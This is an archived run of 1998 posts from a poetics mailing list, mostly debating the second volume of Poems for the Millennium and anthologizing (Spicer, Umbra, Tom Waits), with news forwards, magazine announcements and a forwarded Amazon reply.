Well, to me anthologizing is to trace the history of a genre or genres which will inevitably reflect the ideeological situations and tendencies of those doing the doing of it. The reason for these sorts of "alerts" is to validate these situations to those whose ideological situations don't particularly pertain. A forum such as this list seems a fine place to do this. Another anthology seems inferior. Small magazines might be one place to do this. They are anthologies in a sense whereas they have the advantage of consistently ammending their entries, or at least the opportunity for a more dialogical representation of the history of the genres they present. Patrick F. Durgin

|
|
k e n n i n g``````````````|``````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

On Fri, 24 Apr 1998, Aviva99999 wrote:

> *In a message dated 98-04-24 14:42:43 EDT, you write:*
>
> *<< Sure, the nature*
> *of anthologizing demands that we raise these alerts, >>*
>
> *What, in your view, IS "the nature of anthologizing," and what, specifically, would these "alerts" serve to accomplish? I'm interested in understanding your viewpoint. I'm especially interested in understanding what you, and other folks, expect from anthologies, and I'm further interested in examining whether our expectations might be changed, or whether anthologizers need to conform more to such expectations, or...?*

↑ Index

665. **Franklin Bruno**
mostly concerning The Book of Absences
Mon 27 Apr 1998

---

1) Spicer is definitely an hard-to-swallow omission (esp. as Duncan gets to close the vol.), and I woulda thought some selections from Grenier's 'Sentences' would have fit well w/ the visual/materialist tendencies explored in the anthology, as well as counting as a stated precursor of langpo. As for the long list of the (mostly) living that Ron S. gave, I can't see, given the book's global theater of operations and 50-yr time-frame, how one could justify including several

more American poets who come from one lineage (the post-langpo diaspora) at the expense of the rest of the world. Inman yes, Moriarty no? How would you ever decide, at relatively little historical distance? I'd also note that the editors' introduction recognizes many of these problems, especially regarding their admission that they are in this case, in contrast w/ Vol. 1, not only witnesses but partisans to the chunk of history at hand. This last fact presumably has much to do with our capacity to carp at what's in and out in the case. Hey, I miss Ron Padgett, but I can close the book and go get one of his from my bookshelf, which I for one cannot do w/ the Cobra poets, or Adonis, or Dib. You can't have everything.

2) Does anyone know what Ron meant (Ron, for example) by "the antipoetics of song"? Isn't it more of a 'parallel' poetics, like that of vizpo?

3) I do have a very minor complaint about the inclusion of the Tom Waits lyric. The lineation of "Swordfishtrombone" in the anthology is taken from the lyric sheet of the same name. As far as I can tell, the line-breaks on this lyric sheet are a design convenience (all the album's lyrics are fit into a certain column length). The point--the line breaks have nothing, so far as I can tell to do with the lyric's metric, much less Waits' vocal phrasing in performance. Given that much attention was evidently paid to how Robt. Johnson's lyric was set on the page (reproduced from -The Blues Line-, I'm assuming), and Waits' lyric is being presented -as an oral poem-, shouldn't the line breaks have had something to do with the sung rhythm? Ron S. may be right here in saying that the presentation makes Waits seem dumber than he is.

4) Speaking of song, with respect to the 'writing through' (anti?)genre, someone mentioned Stephen Ratcliffe's -Campion On Song-. Can someone supply a citation? I don't even know if this was a book or something that appeared in a magazine. Please advise.

↑ Index

666. **groberts**
The Book of Spicer
Mon 27 Apr 1998

Since I have not yet popped for Millineum II, the following frivolous thought experiment is tangential at best to the remarks thus far about the anthology. I forget who joked about solving the incompleteness problem by copying some poems of your favorite missing poet and inserting them into your favorite anthology, but after that post, I found myself wondering how I would anthologize Spicer, and spent some time rereading the Collected Books to that end.

I give some authority to Spicer's claim, credited to Duncan and restated in the letter to Robin Blaser included in Admonitions, that "a poem is never to be

judged by itself alone," meaning in part that the sequences or "books" in which his poems occur are the unit of value that Spicer is judging himself by, in so far as he is concerned that his reading of himself should be of use to another reader. Which in turn means, perhaps, that the anthologist of Spicer does not honor or test this claim unless entire sequences or books are selected. If I take this idea seriously, then I cannot anthologize Spicer by selecting the best bits form this or that sequence. The sequence that I would most want to anthologize is "Homage to Creeley/ Explanatory Notes" especially because it would challenge the formatting skills of the editor: but I assume that this text is too long for an anthology and I would not want to take only one of its three parts and leave the others behind. So what next?

I like that Messerli reprints all of "Thing Language" but would have preferred to see all of at least one other sequence included instead of just context-less selected poems. I like the way that "Love Poems" follows upon "Thing Language" but if these two sequences from Language are chosen, then what about the other sequences after that, since the echoes and patterns carry on throughout the entire "book"? Because Language (the book) seems to fall into two parts (as the Intermissions section practically insists), does the anthologist who believes this book to be most praiseworthy choose a section from the first "half" (this word is problematic) and a section from the second half and leave it at that? Or should just a large portion of one half be used? The problem with the second choice is that it distorts too much Spicer's range: for example, Hoover's choice of "Morphemics" and "Phonemics" makes Spicer seem more ponderous than he really is, and what is a selection of Spicer worth with humor or references to baseball?

Perhaps using "Four Poems for The St. Louis Sporting News" and throw in "Fifteen False Propositions Against God" might be the most efficient way to anthologize Spicer. But then, the efficiency of the anthologist is not the efficiency of the poet. And my selections are capitulations more than commitments. The thought-experiment, however, has given me a new appreciation for the difficulty of the anthologist's work, most of which is invisible in the final product.

Anyone want to propose another Book of Spicer?

(sorry, end of penultimate paragraph should read "without humor etc.")

Gary R.

↑ Index

667. **MAYHEW**
Stop, I did not drag my father past this tree
Mon 27 Apr 1998

I have to say that I am more satisfied with Volume I than Volume II (of poems for the Millenium) I have a book review coming out soon, which I will give information about when it has appeared, in which I explain my reasons. In brief, Volume I is amazing because of its juxtapositions and inclusions. It has "high modernism" (Rilke or Yeats) along side of Dada and negritude. It allows for a marvelously complex understanding of literary modernism.

Volume II, filled with wonders as it is (Joris' translations of Celan, Beat Poetry, Brazilian concrete poetry, Italian novissimi, Language poets, Frank O'Hara, etc...) does not allow for the same sort of ideological contrasts, because it seem more governed by sectarian interests. You don't get to compare Merrill to Ashbery, or Auden to O'Hara. Pretending that rival traditions simply don't exist creates wierd distortions. In particular, the anthologists prefer a mode that I call the "ethnographic sublime," in a sense betting that this will be THE tradition of postmodern poetry. The bad poetry in the book tends to be written in this particular mode.

I prefer a book like Shaking the Pumpkin, more limited in scope, and that doesn't carry around the baggage of being "THE University of California Book of mod. and postmod. poetry." This is too much of a burden for any tome to bear.

I tend to hate anthologies anyway. They are basically interventions into literary politics that don't appeal to me as a reader.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

668. **Maz881**
bad history
Mon 27 Apr 1998

read this watten line from bad history yesterday that i can't seem to shake:

"when they beat you with a flashlight, you make light shine in all directions."

i love barrett. he is sick and evil and makes you feel so beaten down. and that line is funny. is it ironic? does the apparatus speak like that? i feel some of the

old barrett from mode-z in 1-10 slipping in to this book. or this book is a big mode z. ?

Bill Luoma

↑ Index

669. **Maz881**
Re: Bachelard's take
Mon 27 Apr 1998

Judy, doesn't she teach at brown? i think her fivesome is divided up into boys, girls, ferms (more female hermaphrodite), herms ("true" hermaphrodite), & merms (more male hermaphrodite). not a good idea in my mind. why pin it down? and reportedly not one that makes intersexuals too happy.

Bill L

<< Anne Fausto-Sterling (a feminist biologist who is well known in women's studies) has done a lot of research on this stuff, I think she might even have a book out. She claims that there are naturally 5 (did I get that number right?) genders, and had some articles about this in popular media a couple or so years ago. She is very passionate and humane and quite wonderful. Anyone interested in this would be well advised to look her stuff up.

And what this says about the two standard genders...
>>

↑ Index

670. **joel lewis**
F.Y.I.
Mon 27 Apr 1998

10:06 AM ET 04/27/98

New York Sends Up Red Flag

By Jennifer Nix
NEW YORK (Variety) - One suspects that Karl Marx will be having quite a chuckle this May Day.
Wall Street will be festooned with red flags and banners citing passages from, of all things, ``The Communist Manifesto,'' Marx's political call-to-arms, co-written with Frederick Engels.
Marking the 150th anniversary of the original 23-page pamphlet, Verso Books is publishing a special edition, with a brand-new introduction and jacket illustration by the trendy art

duo, Komar and Melamid.

Given the Commie chic marketing possibilities for the book, Verso publisher Colin Robinson set Intl. Workers Day (May 1) as the official publication date, and has convinced Waldenbooks on Wall Street and Broadway to do some irony-drenched promotion.

Copies of the hip new edition will be featured in store windows with red flags and banners quoting the ``Manifesto,'' with bits like, ``The capitalist class has greatly increased the urban population as compared to the rural, and has thus rescued a considerable part of the population from the idiocy of rural life.''

Only in Gotham.

Reuters/Variety

^REUTERS@

↑ Index

671. **Karen Kelley**

Re: The Book of Laughter and Forgetting

Mon 27 Apr 1998

Unfortunately, in some circles it's probably politically incorrect to have a personal dislike of rhubarb.

An associative anecdote: I edit courseware for a large company. The exercises in the back of the manuals are printed on green or blue or purple paper (I didn't want to specify what color, since, really, who cares?). The online presentation has a little exercise icon & a note that the student should "turn to the colored pages in the back of this manual."

Sure enough, someone has come to me because the reference to "colored" pages offended a student. I laughed heartily, but have since been informed that it's better to err on the side of political correctness.

Ah well.

George Bowering wrote:

> *I thought the personal was the political.*
>
> *Well, no, it's not. If you have a personal dislike of rhubarb that is not political. If you start a party that favours rhubarb farmers over rhubarb brokers, that is political.*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*

> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

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672. **toddbaron**
REMAP
Mon 27 Apr 1998

I've never sseen an exploding helicopter...but I have seen people destroy themselves in the smallest way."
John Cassavetes

ReMap # 6 POLITICS
RE*Map #6 POLITICS
has just been released

Norma Cole
Spencer Selby
Ray DiPalma
Noah De Lissovoy
Laura Moriarity
Martin Nakell
Arron Shurin

ed. since 1990 by
Todd Baron & Carolyn Kemp

subs $10. per 2
To Todd Baron
2860 Exposition Blvd
#a
Santa Monica Ca 90404

#7 will be ON LOVE

↑ Index

673. **Linda Russo**
Re: F.Y.I.
Mon 27 Apr 1998

---

excuse me if i wear my naivete on my sleeve like a red flag for a moment, (i hear "commie chic" is something you can't help but display); you do gotta love NY but

re:Marx -- is this sickening anyone else? Am I alone or mistaken in my impression that Marx isn't chuckling?? When i think of how many used copies i've come across in my life (and when penguin classics &c puts out a respectable text &c & pathfinder used to (before they were run out of Salt Lake) give it away . . .) not that this is about supply & demand -- Has Verso has made the CM a _literally_ self-consuming artefact or what?

> *NEW YORK (Variety) - One suspects that Karl Marx will be having quite a chuckle this May Day.*
> *Wall Street will be festooned with red flags and banners citing passages from, of all things, ``The Communist Manifesto,'' Marx's political call-to-arms, co-written with Frederick Engels.*

&c &c

↑ Index

674. Chicago Review
Re: Poetry at the White House
Tue 28 Apr 1998

I found a poorly prepared transcript of the 4/22 White House reading at:

http://www.whitehouse.gov/Initiatives/Millenium/poets.html

It's curious to see which poems Hass, Pinsky, and Dove read, and how they choose to talk about them. There's a q & a session at the end. All in all, it gives one some idea of the rhetorical strategies Poets Laureate must have to work out for themselves in order to accomplish anything during their terms. Imagine speaking before Rotary Clubs, as Hass is said to have done many times in 1995-97. I missed seeing Dove when she was in office, but Hass and Pinsky are both good public speakers and readers. Hass in particular is very effective. Anyone interested in the work of these three, as I am, should probably check it out.

Andy Rathmann

Andrew Rathmann
Editor, Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

↑ Index

675. **Mark Baker**
Re: Poetry at the White House
Tue 28 Apr 1998

> *I found a poorly prepared transcript of the 4/22 White House*

Thanks. Who was it said the poetry's found in the transcription? I found this superb "writing through" at the White House:

"Much madness is the vinest sense to the discerning eye"

and, vinously Zukofsky:

"The pond at the end of the mine"

There's more, including a radical underwriting of lineation.

Mark Baker

Chicago Review wrote:
>
> I found a poorly prepared transcript of the 4/22 White House reading at:
>
> http://www.whitehouse.gov/Initiatives/Millenium/poets.html
>
> It's curious to see which poems Hass, Pinsky, and Dove read, and how they
> choose to talk about them. There's a q & a session at the end. All in
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> their terms. Imagine speaking before Rotary Clubs, as Hass is said to have
> done many times in 1995-97. I missed seeing Dove when she was in office,
> but Hass and Pinsky are both good public speakers and readers. Hass in
> particular is very effective. Anyone interested in the work of these
> three, as I am, should probably check it out.
>
> Andy Rathmann
>

↑ Index

676. **Alan Myouka Sondheim**
Re: F.Y.I.
Tue 28 Apr 1998

It's not sickening me, given the careers of Komar and Melamid who have worked with samizdat and communist-satirical issues rather brilliantly since at least a couple of decades; they've lived thru it, etc.

Alan

On Mon, 27 Apr 1998, Linda Russo wrote:

> *excuse me if i wear my naivete on my sleeve like a red flag for a moment, (i hear "commie chic" is something you can't help but display); you do gotta love NY but*
>
> *re:Marx -- is this sickening anyone else? Am I alone or mistaken in my impression that Marx isn't chuckling?? When i think of how many used copies i've come across in my life (and when penguin classics &c puts out a respectable text &c & pathfinder used to (before they were run out of Salt Lake) give it away . . .) not that this is about supply & demand -- Has Verso has made the CM a _literally_ self-consuming artefact or what?*
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> *Wall Street will be festooned with red flags and banners citing passages from, of all things, ``The Communist Manifesto,'' Marx's political call-to-arms, co-written with Frederick Engels.*
>
> *&c &c*

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677. **Robert Archambeau**
Re: Poetry at the White House
Tue 28 Apr 1998

> *Imagine speaking before Rotary Clubs, as Hass is said to have done many times in 1995-97.*

There ought to be some kind of purple heart award for anyone who survives that (and Hass was pretty worn down by it, too). But the work he did there deserves recognition -- he managed to convince a lot of people who'd never given much thought to literature and literacy to put money into underfunded school libraries and similar organizations. This kind of grass-roots stumping seems to me one of the more positive things that's been done with the laureateship recently, and it accompished more than any amount of grandstanding could have done.

--
Robert Archambeau
Department of English
Lake Forest College

Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

" on the end
of each decision stands a heretic"
--Michael Barrett

↑ Index

678. **Dougolly**
Re: women, torture
Tue 28 Apr 1998

Date: Mon, 27 Apr 1998 12:39:25 -0400
From: morpheal <[redacted]>
Subject: Re: women, torture

Briefly on "The Infibulation Ceremony" poem. I welcome morpheal's interest and Judy Roitman's point that traditionalism and Islam don't necessarily imply belief in female genital mutilation -- the prose-surround that normally accompanies this poem fully covers this point and cites a beautiful Islamic statement about tolerance. As infibulation is only mentioned in the hadith (traditional sayings of Mohammed), its justification is often regarded as open to scholarly interpretation. I don't think opposing it would be regarded as Satanic, perhaps even by most hard-liners. As for Western poetry, I mainly said that my poem was unlikely to get through to Somali nomads -- given the widespread illiteracy alone, an uncontroversial point.

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679. **Miekal And**
umbra?
Tue 28 Apr 1998

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umbra?

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680. **Mark Prejsnar**
the flying wedge
Tue 28 Apr 1998

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*One thing occurs, reading the various responses to Ron's slashing critique, and reading Mill.2 itself (thanx to JR or PJ or whoever got U of C Press to send me a review copy: it is in fact gonna get a major review in the Proj.).....

*A strength of the book is its positioning of poetics and practice in relation to groups. Re-emphasis of the fact that poetry is a profoundly collective endeavor.

*I found Ron extremely funny (dissing the inclusion of "anyone who ever attended a Fluxus event")...But these framings are interesting and important. The editors mention the Umbra group as one they might have included and didn't. (...anyone out there who has not read Nielsen's Black Chant should *immediately* do so...) One of the tragic things, right now, is that we have in Aldon's book a beginning of a recovery for the poetry community at large, of Umbra and closely related currents...that is a recovery of the memory that they existed; but this doesn't make their work available to most. (I'm lucky to be a wage slave at Emory University, whose library collected many of the group's individual volumes when they were published; they were in some cases low-profile publications then, and are definitely obscure *now*) So I'm very sorry Umbra was not included.

*As there's so much talk about the dynamix of anthologies, it does occur that an Umbra anthology *has to be* in our future; just a matter of its editor stepping forward... (listening, Aldon?)

*Anyway, the conceptualizing of the period's poetry, as having much to do with collective groupings, is a strength of the whole project. It is handled flexibly, with poets viewed individually in some instances, in groupings at other times. One could argue with details. (All those Fluxus people that worry Ron so, are not presented in their own section, for all that the editors are at pains to emphasize them; which is odd and goes unexplained..) But being both a poet and a communist, I have to say that these are healthy impulses..

Mark Prejsnar
@lanta

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681. **Henry Gould**
Re: the flying wedge
Tue 28 Apr 1998

I sure hope the NEXT millennial edition includes a sampling of the Islomaniacs, a neglected group of Madagascaran english-writing poets who never knew whether they would appear as authors of their own next poems, nor where their next cup of chai was coming from, much less whether they would be part of the future or even the past. They traded poems on a read-or-burn basis since firewood was(& is) in chronic short etc. Their work is hard to find - especially since it isn't "work". The Univ. of Left Overbie in Great Britain houses most of the extant unpublished ms. and Eric Blarnes could tell you more about it but his

comments are very consistently unreliable. There is, however, a dissertation by one Jacqueline Spendroit of the Univ. of Gottagingoin, titled "Islomania in My Mind : the Square Root of a Broken Circle : Madagascar and the Poetics of Exotic Species : How to Tie a Bowline" which you can get through interlibrary loan from Humble Public Library, Humble, TX, if you ask nicely. - Henry Gould

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682. **Mark Prejsnar**

Re: Stop, I did not drag my father past this tree

Tue 28 Apr 1998

---

*Jonathan Mayhew's critique is badly ill-concieved. The Millenium project is **not** about Auden and Merrill. There are interesting dimensions to those poets.

*But the editors specifically address the edgeness of what they are dealing with. Use the term "avant-garde" and such like. Now, I hate that term, but almost everyone I respect uses it (or experimental or innovative) and we can't really get away from the nomenclature problem easily. The point is, there are venues where you can find excessively lionized mainstream icons like Auden and Merrill.

*This really and truly is an instance where (as some said to Ron) the critic should do his own anthology...Because what Jonathan has in mind here is not the concept of the Millenium volumes. The concept in his mind sounds interesting. Camps (in the broad sense of mainstream/alterstream) should indeed clash/encounter/dialogue more. And more directly. But the Millenium venture is about something else.

*Along these lines, many avant'ers are going to be shaken by the inclusion of poetry and poetix from Adrienne Rich, for instance. There are other instances, but I don't have the volume in front of me...

*No, there is definitely breadth and then some, to Mill.2.

Mark Prejsnar
@lanta

↑ Index

683. **Aldon Nielsen**

Re: The Book of Laughter and Forgetting

Tue 28 Apr 1998

I, for one, do not have a personal dislike of rhubarb that is not political. If I was once involved in a political rhubarb, that was political.

On the other comma,,,,,

Jack Spicer may be outside the millenial antho., but he's been transmitted into the pages of _Lingua Franca_, an odd landing for my favorite Martian. The current issue carries a short notice of the two new books -- (and THANKS to Kevin and Peter for their valued labors) --

↑ Index

684. **Aldon Nielsen**
Re: [Fwd: Re: Poetry at the White House, Anthologies] (fwd)
Tue 28 Apr 1998

Ah, so it is true that Charles Bernstein was in two places at the same time. I once saw somebody who identified himself as Norman Finkelstein correct a professor who had taken him for Charles Bernstein, but now I wonder ---

↑ Index

685. **Aldon Nielsen**
Re: the flying wedge
Tue 28 Apr 1998

---

just a personal note in response to the many people who have asked if I'm doing an anthology --

block to date has been lack of support for getting permissions, etc. -- I have decided to go ahead with a modest anthology of innovative poetries by African-American authors post WWII,,,, will be a _sample_, not inclusive -- may be followed by a second vol. if first gets around well enough --

as with my critical books, the point will be not "coverage" but instigation -- in hopes that others will follow (LIKE that UMBRA anthology that Mark suggests)

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686. **Maria Damon**
Re: umbra?
Tue 28 Apr 1998

At 10:31 AM +0000 4/28/98, Miekal And wrote:
>umbra?

maybe i missed what this q was in relation to, but umbra was a group of mostly African American poets loosely based around a publication of the same name. see aldon nielsen's wonderful Black Chant for an extensive description.

↑ Index

687. **Martin Spinelli**
Re: F.Y.I.
Tue 28 Apr 1998

> *From: Linda Russo <[redacted]>*
>
> *Salt Lake) give it away . . .) not that this is about supply & demand -- Has Verso has made the CM a _literally_ self-consuming artefact or what?*

I'm with you Linda. I haven't been so bugged by the commocification of dissent since the Black & Red _Society of the Spectacle_ was replaced on bookstore shelves by that god-awful, easy-to-read/consume translation/version from I can't remeber who. No respect for the project existing in the form of the lingo as well! The Black & Red cost 3 bucks (if that--no copyright) while the new one was wieghing in at $16. Also dissing the project's embodiment in the form of distibution!

There was a big spread about the new CM in the Independent over here (UK) a month or so ago. Some prat, tres into "Cool Britania", was talking about opening a shop in Lodon devoted to Commie Chic which would only be open one day a week, staffed by rude, uniformed Russians, and made an effort to understock. No joke!

Marx hasn't chuckled since they started charging 8 pounds to visit his grave in Highgate.

What are us girls and boys to do? (I know where there's a hole in the fence so you can sneek in at night.)

Martin

_____
Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

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688. **Mark Prejsnar**
Re: the flying wedge
Tue 28 Apr 1998

Great, Aldon...

We all benefit from (not to mention envy) you weird mutants who seem to have about 5 times the energy of the normal person.....

Mark P.

On Tue, 28 Apr 1998, Aldon Nielsen wrote:

> *just a personal note in response to the many people who have asked if I'm doing an anthology --*
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> *block to date has been lack of support for getting permissions, etc. -- I have decided to go ahead with a modest anthology of innovative poetries by African-American authors post WWII,,,, will be a _sample_, not inclusive -- may be followed by a second vol. if first gets around well enough --*
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689. **Mark Prejsnar**
Re: the flying wedge
Tue 28 Apr 1998

I'll make the costumes! (especially those large flowing capes..an obvious sartorial link between the traditions of poetry and those of Marvel superheroes)

--Pomo Man

On Tue, 28 Apr 1998, Safdie Joseph wrote:

> *So far this morning we've heard of one poetics list member who can be in two places at once -- and now we hear of another who has five times the strength of other mortals! I think we should rename this list the "Poetics League of America" to properly commemorate the super powers of its members.*
>
> *I, for example, know what the next post is going to look like!*
>
> *Joe*
>
> ----------
> *From: Mark Prejsnar[SMTP:[redacted]]*
> *Reply To: UB Poetics discussion group*
> *Sent: Tuesday, April 28, 1998 11:23 AM*
> *To: [redacted]*
> *Subject: Re: the flying wedge*
>
> *Great, Aldon...*

> *We all benefit from (not to mention envy) you weird mutants who seem to have about 5 times the energy of the normal person.....*
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690. **Safdie Joseph**

Re: the flying wedge

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Joe

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691. **MAYHEW**

Stop, I did not drag my father

Tue 28 Apr 1998

I know that Poems for the Millenium is *about the avant-garde. My point was that Volume I is richer for its Yeats, Eliot, Rilke, Machado.(Machado hated the avant-garde).The anthologization of more recent poetry seems more affected by purely social groupings and the living memories of the participants.

It would have been more *imaginative to include Auden--the striking juxtapositions I value in all of Rothenberg's anthologies would have been enhanced rather than diminished. That Auden is accessible elsewhere is beside the point to me--so are O'Hara and A. Rich's dreadful poem about Beethoven's symphony.

By the "get your own anthology" argument all critique is automatically disarmed. If we can praise what's there it seems equally logical to look at what isn't, and perhaps speculate on why.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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692. **MAYHEW**
review of Poems
Tue 28 Apr 1998

My review of Poems for the Millenium vol. 2 can be accessed at www. ellavon.-com/ I have tried to be as fair as possible, within the limits of my own knowledge and sensibility.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

693. **Maria Damon**
Re: the flying wedge
Tue 28 Apr 1998

---

but is that po-mo as in postmodern, po(i)mo as in poetry-(in)-motion, or Pomo as in American Indian.

At 2:32 PM -0400 4/28/98, Mark Prejsnar wrote:
>I'll make the costumes! (especially those large flowing capes..an obvious
>sartorial link between the traditions of poetry and those of Marvel
>superheroes)
>
>--Pomo Man
>
>
>
>On Tue, 28 Apr 1998, Safdie Joseph wrote:
>

>> So far this morning we've heard of one poetics list member who can be in two
>> places at once -- and now we hear of another who has five times the strength
>> of other mortals! I think we should rename this list the "Poetics League of
>> America" to properly commemorate the super powers of its members.
>>
>> I, for example, know what the next post is going to look like!
>>
>> Joe
>>
>>
>> > ----------
>> > From: Mark Prejsnar[SMTP:[redacted]]
>> > Reply To: UB Poetics discussion group
>> > Sent: Tuesday, April 28, 1998 11:23 AM
>> > To: [redacted]
>> > Subject: Re: the flying wedge
>> >
>> > Great, Aldon...
>> >
>> > We all benefit from (not to mention envy) you weird mutants who seem to
>> > have about 5 times the energy of the normal person.....
>> >
>> > Mark P.
>> >
>> >
>> > On Tue, 28 Apr 1998, Aldon Nielsen wrote:
>> >
>> > > just a personal note in response to the many people who have asked if
>> > I'm
>> > > doing an anthology --
>> > >
>> > > block to date has been lack of support for getting permissions, etc. --
>> > I
>> > > have decided to go ahead with a modest anthology of innovative poet-
ries
>> > by
>> > > African-American authors post WWII,,,, will be a _sample_, not inclusive
>> > --
>> > > may be followed by a second vol. if first gets around well enough --
>> > >

>> > > as with my critical books, the point will be not "coverage" but
>> > instigation
>> > > -- in hopes that others will follow (LIKE that UMBRA anthology that Mark
>> > > suggests)
>> > >
>> >
>>

↑ Index

694. Christopher Reiner
new magazine
Tue 28 Apr 1998

FYI...

>Outlet, a periodical
>
>Editor: Elizabeth Treadwell
>Consulting Editors: Sarah Anne Cox and Grace Lovelace
>
>Address: Outlet, c/o Double Lucy Books
> PO Box 9013
> Berkeley, CA 94709
> USA
>Website: http://users.lanminds.com/~dblelucy
>Email: [redacted] (feel free to send up to 3 pp via email)
>
>Frequency: 2/year
>Subscription cost: $10/two issues includes a Double Lucy chapbook.
>Checks payable to Elizabeth Treadwell.
>
>
>>Editorial Statement:
>Our focus is on innovative poetry and prose. Our editorial trio has various
>loves regarding writers: HD, Gertrude Stein, Virginia Woolf, Paul Celan,
>Kathy Acker, Toni Morrison, Fay Weldon, Ezra Pound, Janet Frame -- to name a
>few. Our first issue includes poetry by Norma Cole (Contrafact, Potes &
>Poets) and fiction by Lily James (The Great Taste of Straight People,
>Fiction Collective 2).
>
>>OUTLET Issues:

>>1. The Debutante- available in March 1998, our premiere issue features
>writing by Cydney Chadwick, Norma Cole, Jen Hofer, Lily James, Susan Smith
>Nash, Kathy Lou Schultz, and OTHERS. Also translations of Friedrich
>Holderlin by Phil Jenks. Color cover is a painting by Teresa Moore.
>
>>2. Fairyland- available in the fall of 1998. Will feature fiction, poetry,
>and criticism inhabiting or informed by fairytales, both obscure and
>dog-eared. We are accepting submissions of up to five pages for this issue.
>Deadline: June 15, 1998.
>
>>3. Stiletto- Available in the spring of 1999. Will feature writing &
>artwork which responds to the narration and technicalities of fashion, both
>historical and contemporary. Deadline for submissions December 15, 1998.
>
>If you would like further guidelines on Outlet 2 or 3, please do not
>hesitate to write or email us.
>
>If you would like a review copy of Outlet 1, please send a 6x9 SASE with $1
>postage.
>_____
>Double Lucy Chapbooks:
>
>1.The Marriage of the Well-Built Head: Book I of Her Knife, Fork & Spoon (a
>Book of Etiquette), Yedda Morrison, 1998 ($3)
>2.Home of Grammar, Sarah Anne Cox, 1997 ($3)
>3.Eve Doe (becoming an epic poem), Elizabeth Treadwell, 1997($3)
>

↑ Index

695. **ScoutEW**
just a lil something
Tue 28 Apr 1998

I need the email or regular mail addresses of these two people so please backchannel me if possible pleaso!
Travis Ortiz
Judith Goldman

thanks

↑ Index

696. **Poetics List**

NYC Poetry Calendar Gala (FWD)

Tue 28 Apr 1998

Forwarded for the NYC Poetry Calendar:

8 April 1998
CONTACT: MARTIN PADDIO
[redacted]

On May 14, the New York City Poetry Calendar hosts a gala benefit reading at Fordham University at Lincoln Center, tickets are $25 (a tax-deductible contribution). The event features nine poets from across the literary spectrum: Charles Bernstein, Billy Collins, Marie Howe, Wayne Koestenbaum, J.D. McClatchy, Donna Masini, Eileen Tabios, Yusef Komunyakaa, and host, David Lehman.

The Gala is sponsored by Borders Books and Music, the evening will include a smorgasbord of readings, raffles, hors d'oeuvres and wine, and an opportunity to meet and mix, all to support Poetry Calendar. For advance tickets to the gala, on Thursday, May 14 at 7:30pm, at Fordham University at Lincoln Center, 113 W. 60th Street, 12th floor, call Poetry Calendar [redacted]. Tickets may also be purchased at the door.

Established in 1976, Poetry Calendar is the only inclusive poetry listing and magazine in New York City. It is the central resource for information about literary readings, lectures, workshops, broadcasts, and related activities in the Metropolitan area. Over 450 activities at more than 100 venues are listed every month; 10,000 copies are distributed free at bookstores, cafes, libraries, and schools around the city.

Poetry Calendar is a not-for-profit organization and is the recipient of grants from the National Endowment for the Arts and from the New York State Council on the Arts, and private contributions. Subscriptions to Poetry Calendar may be purchased for $20 per year from 611 Broadway, Suite 905, New York NY 10012.

Poetry Calendar on the web:
http://www.poets.org/cal/po_cal.htm
(or via EPC: "sites" then "poetry organizations" then NYC Poetry Calendar)

↑ Index

697. **Aviva99999**
Fwd: Amazon.com Books
Tue 28 Apr 1998

This is a multi-part message in MIME format.

--part0_893810436_boundary

In a message dated 98-04-27 18:42:26 EDT, [redacted] writes:

<< Hello!

We are responsive to the needs of small presses. Many call in and write each day. Their assistance is crucial to the updating of our catalog.

For more information on our work with small publishers please visit our site. On our website, you can visit our special publishers' annex at this URL:

http://www.amazon.com/publishers

Please don't hesitate to contact us should you have any further questions, and thanks for your interest in Amazon.com!

Best Regards,

Hannah Burke
Catalog Department
Amazon.com Books
http://www.amazon.com
>>

--part0_893810436_boundary

air11.mx.aol.com (v42.4) with SMTP; Mon, 27 Apr 1998 18:42:26 -0400
by relay30.mx.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id SAA18261 for <[redacted]>;
Mon, 27 Apr 1998 18:42:24 -0400 (EDT)
From: [redacted]
by amazon.com (8.8.5/8.8.5) with ESMTP id PAA09825
for <[redacted]>; Mon, 27 Apr 1998 15:42:23 -0700 (PDT)
(PDT)
PAA19181; Mon, 27 Apr 1998 15:42:27 -0700 (PDT)
Date: Mon, 27 Apr 1998 15:42:27 -0700 (PDT)
[redacted] using -f
To: Aviva99999 <[redacted]>
Subject: Re: Amazon.com Books
from-address: [redacted]

Hello!

We are responsive to the needs of small presses. Many call in and write each day. Their assistance is crucial to the updating of our catalog.

For more information on our work with small publishers please visit our site. On our website, you can visit our special publishers' annex at this URL:

http://www.amazon.com/publishers

Please don't hesitate to contact us should you have any further questions, and thanks for your interest in Amazon.com!

Best Regards,

Hannah Burke
Catalog Department
Amazon.com Books
http://www.amazon.com

> *X-Mailer: AOL 3.0 for Windows 95 sub 64*
> *Subject: Re: Amazon.com Books*
> *To:* [redacted]
> *Date: Wed, 22 Apr 1998 20:54:50 EDT*
> *From: Aviva99999 <*[redacted]*>*
>
> *In a message dated 98-04-22 14:54:00 EDT, you write:*
>
> *<< We work with many small*
> *presses each day. We actively help them add books to our catalog, update*
> *existing listings, and add descriptive materials. >>*
>
> *Sounds to me as though the small presses should be proactive, and seek out*
> *listings from amazon.com. Would your company be responsive, or can it only*
> *process information from compiled sources?*

--part0_893810436_boundary--

↑ Index

698. **joel lewis**
f.y.i.
Tue 28 Apr 1998

Paris 1968 uprising recalled in writing on wall

PARIS (Reuters) - The fury of France's 1968 student uprising came to life at a Paris auction Tuesday when more than 200 posters from the era went under the hammer.

Thirty years later, the stark revolutionary art, most of it crudely painted in red or black, has turned into a pricey

collector's item, echoing the rage that spilled out of universities and factories onto the cobble stones of Paris streets which became a symbol of the revolt.

While demonstrators declared war on the establishment and consumer society in general, the posters' favorite whipping boys were the aging President Charles de Gaulle and the CRS riot police, whose job was to crack down on the anarchy that virtually shut down the country for May and part of June 1968.

